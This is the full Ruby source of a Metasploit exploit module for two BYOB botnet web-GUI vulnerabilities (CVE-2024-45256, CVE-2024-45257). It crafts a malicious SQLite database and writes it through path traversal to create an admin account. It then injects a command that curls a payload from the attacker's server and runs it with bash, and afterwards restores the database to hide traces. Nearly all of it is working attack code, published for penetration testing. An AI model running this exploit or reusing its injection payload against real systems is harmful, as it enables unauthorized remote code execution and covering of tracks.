Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/byob_unauth_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sqlite3'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::HttpServer12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',19'Description' => %q{20This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:211. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.222. CVE-2024-45257: Authenticated command injection in the payload generation page.2324These vulnerabilities remain unpatched.25},26'Author' => [27'chebuya', # Discoverer and PoC28'Valentin Lobstein' # Metasploit module29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2024-45256'],33['CVE', '2024-45257'],34['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']35],36'Platform' => %w[unix linux],37'Arch' => %w[ARCH_CMD],38'Targets' => [39[40'Unix/Linux Command Shell', {41'Platform' => %w[unix linux],42'Arch' => ARCH_CMD,43'Privileged' => true44# tested with cmd/linux/http/x64/meterpreter/reverse_tcp45}46]47],48'DisclosureDate' => '2024-08-15',49'DefaultTarget' => 0,50'DefaultOptions' => { 'SRVPORT' => 5000 },51'Notes' => {52'Stability' => [CRASH_SAFE],53'SideEffects' => [IOC_IN_LOGS],54'Reliability' => [REPEATABLE_SESSION]55}56)57)5859register_options(60[61OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),62OptString.new('PASSWORD', [false, 'Password for new admin', nil])63]64)65end6667def primer68add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })69print_status('Payload is ready at /')70end7172def on_request_uri_payload(cli, request)73handle_request(cli, request, payload.encoded)74end7576def handle_request(cli, request, response_payload)77print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")7879case request.uri80when '/'81print_status("Sending response to #{cli.peerhost} for /")82send_response(cli, response_payload)83else84print_error("Request for unknown resource: #{request.uri}")85send_not_found(cli)86end87end8889def check90res = send_request_cgi({91'method' => 'GET',92'uri' => normalize_uri(target_uri.path),93'keep_cookies' => true94})9596if res97doc = res.get_html_document9899unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')100return CheckCode::Safe('The target does not appear to be BYOB.')101end102else103return CheckCode::Unknown('The target did not respond to the initial check.')104end105106print_good('The target appears to be BYOB.')107108random_data = Rex::Text.rand_text_alphanumeric(32)109random_filename = Rex::Text.rand_text_alphanumeric(16)110random_owner = Rex::Text.rand_text_alphanumeric(8)111random_module = Rex::Text.rand_text_alphanumeric(6)112random_session = Rex::Text.rand_text_alphanumeric(6)113114form_data = {115'data' => random_data,116'filename' => random_filename,117'type' => 'txt',118'owner' => random_owner,119'module' => random_module,120'session' => random_session121}122123res = send_request_cgi({124'method' => 'POST',125'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),126'ctype' => 'application/x-www-form-urlencoded',127'vars_post' => form_data,128'keep_cookies' => true129})130131if res&.code == 500132return CheckCode::Vulnerable133else134case res&.code135when 200136return CheckCode::Safe137when nil138return CheckCode::Unknown('The target did not respond.')139else140return CheckCode::Unknown("The target responded with HTTP status #{res.code}")141end142end143end144145def get_csrf(path)146res = send_request_cgi({147'method' => 'GET',148'uri' => normalize_uri(target_uri.path, path),149'keep_cookies' => true150})151152fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res153154csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text155fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?156157csrf_token158end159160def register_user(username, password)161csrf_token = get_csrf('register')162163res = send_request_cgi({164'method' => 'POST',165'uri' => normalize_uri(target_uri.path, 'register'),166'ctype' => 'application/x-www-form-urlencoded',167'vars_post' => {168'csrf_token' => csrf_token,169'username' => username,170'password' => password,171'confirm_password' => password,172'submit' => 'Sign Up'173},174'keep_cookies' => true175})176177if res.nil?178fail_with(Failure::UnexpectedReply, 'No response from the server.')179elsif res.code == 302180print_good('Registered user!')181else182fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")183end184end185186def login_user(username, password)187csrf_token = get_csrf('login')188189res = send_request_cgi({190'method' => 'POST',191'uri' => normalize_uri(target_uri.path, 'login'),192'ctype' => 'application/x-www-form-urlencoded',193'vars_post' => {194'csrf_token' => csrf_token,195'username' => username,196'password' => password,197'submit' => 'Log In'198},199'keep_cookies' => true200})201202if res.nil?203fail_with(Failure::UnexpectedReply, 'No response from the server.')204elsif res.code == 302205print_good('Logged in successfully!')206else207fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")208end209end210211def generate_malicious_db212mem_db = SQLite3::Database.new(':memory:')213214mem_db.execute <<-SQL215CREATE TABLE user (216id INTEGER NOT NULL,217username VARCHAR(32) NOT NULL,218password VARCHAR(60) NOT NULL,219joined DATETIME NOT NULL,220bots INTEGER,221PRIMARY KEY (id),222UNIQUE (username)223);224SQL225226mem_db.execute <<-SQL227CREATE TABLE session (228id INTEGER NOT NULL,229uid VARCHAR(32) NOT NULL,230online BOOLEAN NOT NULL,231joined DATETIME NOT NULL,232last_online DATETIME NOT NULL,233public_ip VARCHAR(42),234local_ip VARCHAR(42),235mac_address VARCHAR(17),236username VARCHAR(32),237administrator BOOLEAN,238platform VARCHAR(5),239device VARCHAR(32),240architecture VARCHAR(2),241latitude FLOAT,242longitude FLOAT,243new BOOLEAN NOT NULL,244owner VARCHAR(120) NOT NULL,245PRIMARY KEY (uid),246UNIQUE (uid),247FOREIGN KEY(owner) REFERENCES user (username)248);249SQL250251mem_db.execute <<-SQL252CREATE TABLE payload (253id INTEGER NOT NULL,254filename VARCHAR(34) NOT NULL,255operating_system VARCHAR(3),256architecture VARCHAR(14),257created DATETIME NOT NULL,258owner VARCHAR(120) NOT NULL,259PRIMARY KEY (id),260UNIQUE (filename),261FOREIGN KEY(owner) REFERENCES user (username)262);263SQL264265mem_db.execute <<-SQL266CREATE TABLE exfiltrated_file (267id INTEGER NOT NULL,268filename VARCHAR(4096) NOT NULL,269session VARCHAR(15) NOT NULL,270module VARCHAR(15) NOT NULL,271created DATETIME NOT NULL,272owner VARCHAR(120) NOT NULL,273PRIMARY KEY (id),274UNIQUE (filename),275FOREIGN KEY(owner) REFERENCES user (username)276);277SQL278279mem_db.execute <<-SQL280CREATE TABLE task (281id INTEGER NOT NULL,282uid VARCHAR(32) NOT NULL,283task TEXT,284result TEXT,285issued DATETIME NOT NULL,286completed DATETIME,287session VARCHAR(32) NOT NULL,288PRIMARY KEY (id),289UNIQUE (uid),290FOREIGN KEY(session) REFERENCES session (uid)291);292SQL293294base64_data = Tempfile.open('database.db') do |file|295src_db = SQLite3::Database.new(file.path)296backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')297backup.step(-1)298backup.finish299300binary_data = File.binread(file.path)301302Rex::Text.encode_base64(binary_data)303end304305base64_data306end307308def upload_database_multiple_paths309successful_paths = []310filepaths = [311'/proc/self/cwd/buildyourownbotnet/database.db',312'/proc/self/cwd/../buildyourownbotnet/database.db',313'/proc/self/cwd/../../../../buildyourownbotnet/database.db',314'/proc/self/cwd/instance/database.db',315'/proc/self/cwd/../../../../instance/database.db',316'/proc/self/cwd/../instance/database.db'317]318319filepaths.each do |filepath|320form_data = {321'data' => @encoded_db,322'filename' => filepath,323'type' => 'txt',324'owner' => Faker::Internet.username,325'module' => Faker::App.name.downcase,326'session' => Faker::Alphanumeric.alphanumeric(number: 8)327}328329res = send_request_cgi(330'method' => 'POST',331'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),332'ctype' => 'application/x-www-form-urlencoded',333'vars_post' => form_data,334'keep_cookies' => true335)336337successful_paths << filepath if res&.code == 200338end339340successful_paths341end342343def on_new_session(session)344if session.type == 'meterpreter'345binary_content = Rex::Text.decode_base64(@encoded_db)346347print_status('Restoring the database via Meterpreter to avoid leaving traces.')348349successful_restore = false350351@successful_paths.each do |remote_path|352remote_file = session.fs.file.new(remote_path, 'wb')353remote_file.syswrite(binary_content)354remote_file.close355successful_restore = true356end357358if successful_restore359print_good('Database has been successfully restored to its clean state.')360else361print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')362end363else364print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')365end366end367368def exploit369# Start necessary services and perform initial setup370start_service371primer372373# Define or generate admin credentials374username = datastore['USERNAME'] || 'admin'375password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)376377# Generate and upload the malicious SQLite database378print_status('Generating malicious SQLite database.')379@encoded_db = generate_malicious_db380381@successful_paths = upload_database_multiple_paths382383if @successful_paths.empty?384fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')385else386print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")387end388389# Register the new admin user390print_status("Registering a new admin user: #{username}:#{password}")391register_user(username, password)392393# Log in with the newly created admin user394print_status('Logging in with the new admin user.')395login_user(username, password)396397# Prepare the malicious payload and inject it via command injection398print_status('Injecting payload via command injection.')399400uri = get_uri.gsub(%r{^https?://}, '').chomp('/')401random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"402malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"403payload_data = {404'format' => 'exe',405'operating_system' => "nix$(#{malicious_filename})",406'architecture' => 'amd64'407}408409# Send the command injection request410send_request_cgi({411'method' => 'POST',412'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),413'ctype' => 'application/x-www-form-urlencoded',414'vars_post' => payload_data,415'keep_cookies' => true416}, 5)417418# Keep the web server running to maintain the service419service.wait420end421end422423424